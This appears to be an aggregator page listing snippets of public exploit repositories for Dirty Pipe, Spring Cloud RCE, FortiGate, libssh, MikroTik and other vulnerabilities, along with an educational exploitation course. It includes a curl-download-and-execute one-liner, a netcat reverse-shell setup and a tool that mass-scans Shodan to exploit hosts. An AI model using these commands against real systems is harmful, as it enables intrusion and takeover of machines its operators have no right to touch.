CVE-2018-3810_exploit

このリポジトリには README がありません。...

WHP

M$ Windows Hacking Pack ここに含まれるツールは様々なソースからのものです。このリポジトリは基本的にWTFPLライセンスですが、一部のコンテンツ（例：sysinternals）は異なる場合があります。 "pes"は"PE Scambled"を意味します。時々役立ちます。 リモートエクスプロイト Windows 2000 / XP SP1 MS05-039 Microsoft Plug and Play サービス オーバーフロー、SSDPでも動作 http://www.rapid7.com/db/modules/exploit/windows/smb/ms05039p...

exploitation-course

オフェンシブセキュリティ＆リバースエンジニアリング（OSRE）コース このリポジトリは、私がChamplain Collegeで教えていたオフェンシブセキュリティ＆リバースエンジニアリング（攻撃的ソフトウェアエクスプロイテーション ）コースのためのものであり、現在はオンラインで無料で共有しています（録画はYouTubeチャンネルをご覧ください）。使用していたスライドノートのほとんどは既にHTID...

CVE-2022-4510-WalkingPath

CVE-2022-4510-Binwalk This script allows you to generate exploits for targeting CVE-2022-4510 Binwalk vulnerabilities. The exploits can be used for testing and demonstrations. The supported options include SSH, command execution, and reverse shell. Prerequisites Python 3.x Usage 1. Clone the...

sudo-exploit

使用方法 注意：运行漏洞利用程序时，libnssX 目录必须存在于当前工作目录中 ubuntu 18.04 ubuntu 20.04...

CVE-2019-9053

CVE-2019-9053 CVE-2019-9053 Python 3 漏洞利用程序 最后测试时间：28-12-2021 测试环境：Python 3.10.1 原始漏洞利用代码来源：https://www.exploit-db.com/exploits/46635 用户对使用此工具执行的任何操作承担全部责任。 如果您不接受这些条款，请勿使用此工具。 请仅在您有权执行渗透测试活动的环境中使用此工具。 请勿将此工具用于任何恶意目的。 关于字典文件字符编码的说明 此漏洞利用代码需要 UTF-8 格式的字典文件。 例如，如果您按照某些 CTF 教程使用 Kali-Linux 自带的 rocky...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 El CVE para este problema es CVE-2022-26318...

CVE-2022-0847

DirtyPipe 针对DirtyPipe漏洞的利用程序，由Max Kellermann编写并发现 - https://dirtypipe.cm4all.com/ POC...

gotigate

gotigate CVE-2022-40684 のエクスプロイト インストール root@kitploit: ▶ go install github.com/gustavorobertux/gotigate@latest 基本的な使い方 root@kitploit: ▶ gotigate TARGET IP or youraddress.com "height":1, "interface":"", "csf-device":"", "table-visualization":"", "device-list-online":"", "device-list-telemetry":"",...

cve-2023-21768-compiled

cve-2023-21768-compiled-version テスト済み: windows22H2 22621.963. コード元:https://github.com/xforcered/WindowsLPEAFDCVE-2023-21768...

wesng

Windows Exploit Suggester - Next Generation WES-NG WES-NG is a tool based on the output of Windows' systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. Every Windows OS between Windows XP and Windows 11, includin...

Dirty-Pipe

一键利用 CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation

Automatic-davfs2-1.4.6-1.4.7-Local-Privilege-Escalation 自动利用存在漏洞的 davfs2（CVE-2013-4362）的系统 这是干什么用的？ 只有两个 .sh 脚本，用于简化对存在漏洞版本的 davfs2 的利用 先决条件 内核必须至少没有加载 'fuse' 或 'coda' 模块之一（该 PoC 适用于默认未加载的 coda） 你必须是能够挂载远程 webdav 服务器的用户 通过 cat /etc/group | grep davfs2 检查 davfs2 使用 /etc/fstab...

CVE-2023-45878

CVE-2023-45878 GibbonEdu Gibbon Exploit バージョン 25.0.1 GibbonEdu Gibbon バージョン 25.0.1 以前 GibbonEdu Gibbon バージョン 25.0.1 以前では、任意のファイル書き込みが可能です。 詳細情報 https://nvd.nist.gov/vuln/detail/CVE-2023-45878 https://herolab.usd.de/security-advisories/usd-2023-0025/ 免責事項...

dpipe

dpipe Dirty Pipe脆弱性（CVE-2022-0847）の概念実証エクスプロイト...

CVE-2023-27997-POC

用法: python3 cve-2022-42475.py rhost rport lhost lport 示例: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 免责声明: 本项目仅用于教育和道德测试目的。未经事先相互同意，使用此工具攻击目标是非法的。开发者不承担任何责任，也不对因使用此工具造成的任何滥用或损害负责。...

POC-CVE-2018-10933

POC-CVE-2018-10933 RCE を利用した LibSSH 認証バイパスエクスプロイト コードの参照 https://www.youtube.com/watch?v=ZSWQjmfcn4g の例の Git リポジトリ 脆弱性に関する詳細情報 https://www.libssh.org/security/advisories/CVE-2018-10933.txt https://vulners.com/cve/CVE-2018-10933...

RCE-in-Spring-Cloud-CVE-2022-22963

Spring CloudのRCEエクスプロイト CVE 2022-22963 CVE-2022-22963 のエクスプロイト - Spring Cloud Functionにおけるリモートコマンド実行 脆弱性の詳細については、こちら と こちら を参照してください。 PoC 攻撃者のホスト上でnetcatを実行: root@kitploit: $ nc -lvnp 9001 攻撃者のホスト上でデフォルトポート 9001 を使用してエクスプロイトを実行する（例）: root@kitploit: $ ./exploit.sh site.com 10.10.14.122 ---Reverse...

MikroRoot

MikroRoot CVE-2018-14847 の自動化バージョン。shodan をスクレイピングして脆弱なホストを探し、それらを悪用しようとします。 使い方 このスクリプトは Python2.x では動作しないことに注意してください。Python 3+ のみを使用してください。 MikroRoot: python3 MikroRoot.py -k SHODANKEY -p page count User: ncss Pass: ncss!@2018 IP: 1.2.3.4 引数 -p スクレイピングするページ数 -k Shodan キー エクスプロイトの作者...

CVE-2018-15982

致谢 @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 描述 使用针对 Flash Player 的 CVE-2018-15982 漏洞利用，通过 Aggressor Script 发起 Internet Explorer 路过式攻击。 受影响的产品版本 Adobe Flash Player Host CVE-2018-15982 Payload Host 将链接发送给受害者，或嵌入到其他页面或重定向中 受害者使用 IE...